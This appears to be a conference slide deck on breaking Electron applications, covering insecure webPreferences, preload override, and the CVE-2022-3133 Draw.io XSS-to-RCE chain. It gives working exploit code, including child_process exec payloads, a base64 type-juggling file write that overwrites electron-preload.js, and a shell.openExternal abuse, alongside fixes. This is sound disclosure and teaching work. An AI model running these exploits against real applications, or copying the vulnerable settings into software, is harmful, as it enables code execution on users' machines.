Multiple ways to break Electron applications

Kévin (Mizu)

Cybersecurity student at ESAIP

CTF Player @Rhackgondins

Bug Hunter

https://mizu.re

@kevin_mizu

Electron

Electron is a framework for building desktop applications using JavaScript, HTML, and CSS. By embedding Chromium and Node.js into its binary, Electron allows you to maintain one JavaScript codebase and create cross-platform apps that work on Windows, macOS, and Linux.

 

Source: www.electronjs.org

Stack

Architecture

Main process : Electron application entry-point

Renderer process : Chromium window

IPC : Inter-Process Communication

My first Electron app

// app.js

const { app, BrowserWindow } = require('electron');

function createWindow () {
    const win = new BrowserWindow({
        width: 800,
        height: 600
    })

    win.loadURL('https://mizu.re');
}

app.whenReady().then(() => {
    createWindow()
})
npm i electron
npm start
// package.json

{
  "name": "vuln_app",
  "version": "1.0.0",
  "description": "...",
  "main": "app.js",
  "scripts": {
    "start": "electron ."
  },
  "author": "@kevin_mizu",
  "license": "MIT",
  "devDependencies": {
    "electron": "^21.1.0",
    "path": "^0.12.7"
  }
}

Vulnerable application

const { app, BrowserWindow } = require('electron');
const path = require('path')

function createWindow () {
    const win = new BrowserWindow({
        width: 800,
        height: 600,

        webPreferences: {
            nodeIntegration: true,
            contextIsolation: false,
            sandbox: false
        },
    })

    win.loadFile('index.html');
}

app.whenReady().then(() => {
    createWindow()
})

Vulnerable application architecture

WebPreferences

const { app, BrowserWindow } = require('electron');
const path = require('path')

function createWindow () {
    const win = new BrowserWindow({
        width: 800,
        height: 600,

        webPreferences: {
            nodeIntegration: true,
            contextIsolation: false,
            sandbox: false
        },
    })

    win.loadFile('index.html')
}

app.whenReady().then(() => {
    createWindow()
})
const { app, BrowserWindow } = require('electron');
const path = require('path')

function createWindow () {
    const win = new BrowserWindow({
        width: 800,
        height: 600,

        webPreferences: {
            nodeIntegration: true,
            contextIsolation: false,
            sandbox: false
        },
    })

    win.loadFile('index.html')
}

app.whenReady().then(() => {
    createWindow()
})

WebPreferences

NodeIntegration (True)

False by default

Exploit

<script>
	require('child_process').exec('COMMAND')
</script>

How to fix it?

const { app, BrowserWindow } = require('electron');
const path = require('path')

function createWindow () {
    const win = new BrowserWindow({
        width: 800,
        height: 600,

        webPreferences: {
            contextIsolation: false,
            sandbox: false
        },
    })

    win.loadFile('index.html')
}

app.whenReady().then(() => {
    createWindow()
})

Preload script

Vulnerable application preload

// preload.js

window.check = () => {
    return 0;
}

window.exec = () => {
    if (window.check()) {
        require("child_process").exec("nautilus");
    }
}
const { app, BrowserWindow } = require('electron');
const path = require('path')

function createWindow () {
    const win = new BrowserWindow({
        width: 800,
        height: 600,

        webPreferences: {
            preload: path.join(__dirname, 'preload.js'),
            contextIsolation: false,
            sandbox: false
        },
    })

    win.loadFile('index.html')
}

app.whenReady().then(() => {
    createWindow()
})

contextIsolation (False)

True by default since Electron 12

Exploit

window.check = () => {
	return 1;
}

window.exec();
window.check = () => {
    return 0;
}

window.exec = () => {
    if (window.check()) {
        require("child_process").exec("nautilus");
    }
}

Preload.js

Renderer Process

How to fix it?

contextBridge: Any data / primitives sent in the API become immutable and updates on either side of the bridge do not result in an update on the other side.

Source: https://www.electronjs.org/docs/latest/api/context-bridge

contextBridge.exposeInMainWorld(
  'electron',
  {
    version: "1.1.1",
    doThing: () => console.log("Thing"),
    data: {
      myFlags: ['a', 'b', 'c'],
      bootTime: 1234
    },
  }
)

Are we 100% safe now?

CVE-2022-3133
Draw.io XSS to RCE

Draw.io context |electron-preload.js

contextBridge.exposeInMainWorld(
    'electron', {
        request: (msg, callback, error) => 
		{
			msg.reqId = reqId++;
			reqInfo[msg.reqId] = {callback: callback, error: error};

			//TODO Maybe a special function for this better than this hack?
			//File watch special case where the callback is called multiple times
			if (msg.action == 'watchFile')
			{
				fileChangedListeners[msg.path] = msg.listener;
				delete msg.listener;
			}

			ipcRenderer.send('rendererReq', msg);
        }
        ...
    }
);

Architecture

Main process : Electron application entry-point

Renderer process : Chromium window

IPC : Inter-Process Communication

Draw.io context |electron.js

ipcMain.on("rendererReq", async (event, args) => 
{
	...
	let ret = null;

	switch(args.action) {
	...
		case 'writeFile':
			ret = await writeFile(args.path, args.data, args.enc);
			break;
		...
		case 'readFile':
			ret = await readFile(args.filename, args.encoding);
			break;
        ...
		case 'getCurDir':
			ret = await getCurDir();
			break;
		};

		event.reply('mainResp', {success: true, data: ret, reqId: args.reqId});
	...
});

Draw.io context |writeFile

async function writeFile(path, data, enc) {
	if (!checkFileContent(data, enc))
	{
		throw new Error('Invalid file data');
	}
	else
	{
		return await fsProm.writeFile(path, data, enc);
	}
};

Draw.io context |checkFileContent

function checkFileContent(body, enc)
{
	if (body != null)
	{
		let head, headBinay;
		
		if (typeof body === 'string')
		{
			if (enc == 'base64')
			{
				headBinay = Buffer.from(body.substring(0, 22), 'base64');
				head = headBinay.toString();
			}
			else
			{
				head = body.substring(0, 16);
				headBinay = Buffer.from(head);
			}
		}
		else
		{
			head = new TextDecoder("utf-8").decode(body.subarray(0, 16));
			headBinay = body;
		}
    ...

Can you spot the vulnerability?

function checkFileContent(body, enc)
{
	...
	if (enc == 'base64') {
		headBinay = Buffer.from(body.substring(0, 22), 'base64');
		head = headBinay.toString();
	} else {
	...
async function writeFile(path, data, enc) {
	if (!checkFileContent(data, enc))
	{
		throw new Error('Invalid file data');
	}
	else
	{
		return await fsProm.writeFile(path, data, enc);
	}
};

Can you spot the vulnerability?

async function writeFile(path, data, enc) {
	if (!checkFileContent(data, enc))
	{
		throw new Error('Invalid file data');
	}
	else
	{
		return await fsProm.writeFile(path, data, enc);
	}
};
function checkFileContent(body, enc)
{
	...
	if (enc == 'base64') {
		headBinay = Buffer.from(body.substring(0, 22), 'base64');
		head = headBinay.toString();
	} else {
	...

Base64 polymorph payload

file = "";
electron.request({
    action: 'writeFile',
    path: file,
    data: "PGh0bWxYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY=1;\n{FREE-HERE}",
    enc: ['base64'] // type juggling
}, (d) => {
    alert("SUCCESS")
}, "")

Valid header for checkFileContent()

Preload script

Overwrite preload with file write

var preloadDir = "";
var rcePayload = "PGh0bWxYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY=1;require('child_process').exec('calc.exe')";

// get preload directory
electron.request({ action: 'getCurDir' }, (d) => {
    preloadDir = d;
    
    // overwrite preload file
    electron.request({
        action: 'writeFile',
        path: `${preloadDir}/electron-preload.js`,
        data: rcePayload,
        enc: ['base64'] // type jungling
    }, (d) => {

        // run rce payload
        electron.sendMessage('newfile');
    }, "")
}, "")

Get electron-preload.js file path

Overwrite electron-preload.js

Open new window to trigger electron-preload.js

Finding XSS

  • Auxiliary click
  • Redirection
  • Link abuse
  • Bypass sanitizer
  • Code auditing
  • Drag and drop

After 3 weeks of research, nothing found...

Loading script

It even bypass every plugins security checks...

CSP 🙃

content-security-policy: default-src 'self'; script-src https://www.dropbox.com

https://api.trello.com 'self' https://viewer.diagrams.net

https://apis.google.com https://*.pusher.com

'sha256-AVuOIxynOo/05KDLjyp0AoBE+Gt/KE1/vh2pS+yfqes='

'sha256-r/ILW7KMSJxeo9EYqCTzZyCT0PZ9gHN1BLgki7vpR+A='

'sha256-5DtSB5mj34lxcEf+HFWbBLEF49xxJaKnWGDWa/utwQA='

'sha256-vS/MxlVD7nbY7AnV+0t1Ap338uF7vrcs7y23KjERhKc=';

Local Electron APP + script-src: self 🙃

file://<attacker-smb>/<smb-folder>/xss.js
file:///path/to/file.html

+

script-src: self

Outdated

Source: Luca Carettoni Black Hat 2019

openExternal

function openExternal(url) {
    shell.openExternal(url);
}

openExternal("file:///c:/windows/system32/calc.exe")

Local application -> XSS 2 LFI

webSecurity (False)

And more depending on the application context

Good practices

  • Only load secure content
  • Disable the nodeIntegration
  • Enable process sandboxing
  • Disable or limit navigation
  • Disable or limit creation of new windows
  • Do not use shell.openExternal with untrusted content
  • Use a current version of Electron

Want to practice?

The end

Rhackgondins team ❤

Electron Security | CVE-2022-3133

By Kévin (Mizu)

Electron Security | CVE-2022-3133

I gave this talk for the following conferences: ESAIP Cyber (26/10/2022) | Root Me (13/12/2022)

  • 2,514